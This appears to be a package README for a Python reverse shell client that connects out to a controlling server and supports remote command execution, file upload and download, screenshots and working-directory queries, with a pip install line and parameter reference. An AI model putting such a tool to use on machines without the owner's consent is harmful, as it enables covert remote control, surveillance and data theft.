Reverse shell client for unbureaucratic server/client connections with file transfer / screenshots

pip install reverseshellclient

Tested against Windows 10 / Python 3.10 / Anaconda

Connect to the server at the specified IP address and port, and perform a reverse shell client-server communication. To install the server: https://pypi.org/project/reverseshellserver/

Parameters: ipaddress (str): The IP address of the server to connect to. port (int): The port number of the server to connect to. byte_len (int, optional): The maximum size of each data chunk (in bytes) used for communication with the server. command_putfile (str, optional): The command prefix used to indicate a request from the server to send a file to the client. command_getfile (str, optional): The command prefix used to indicate a request from the server to receive a file from the client. command_screenshot (str, optional): The command that, when sent by the server, requests the client to take a screenshot and send it back as an image file. command_getcwd (str, optional): The command that, when sent by the server, requests the client to send the current working directory path. command_putfile_sep (bytes, optional): The separator used to split the 'putfile' command and the filename along with the file content. command_start (bytes, optional): The marker used to indicate the start of a command transmission. command_end (bytes, optional): The marker used to indicate the end of a command transmission. before_stdout (bytes, optional): Bytes to prepend before the standard output of the executed command in the response to the server. before_stderr (bytes, optional): Bytes to prepend before the standard error of the executed command in the response to the server.

Note: - This function connects to the server specified by 'ipaddress' and 'port'. - It performs a continuous loop of client-server communication until interrupted. - The 'before_stdout' and 'before_stderr' parameters are used to format the response to the server when executing shell commands. - The 'command_putfile', 'command_getfile', 'command_screenshot', and 'command_getcwd' prefixes are used to indicate specific actions from the server. - The 'command_putfile_sep' is used to split the 'putfile' command and the filename along with the file content. - 'command_start' and 'command_end' are used to wrap the encoded command for large data transmissions.
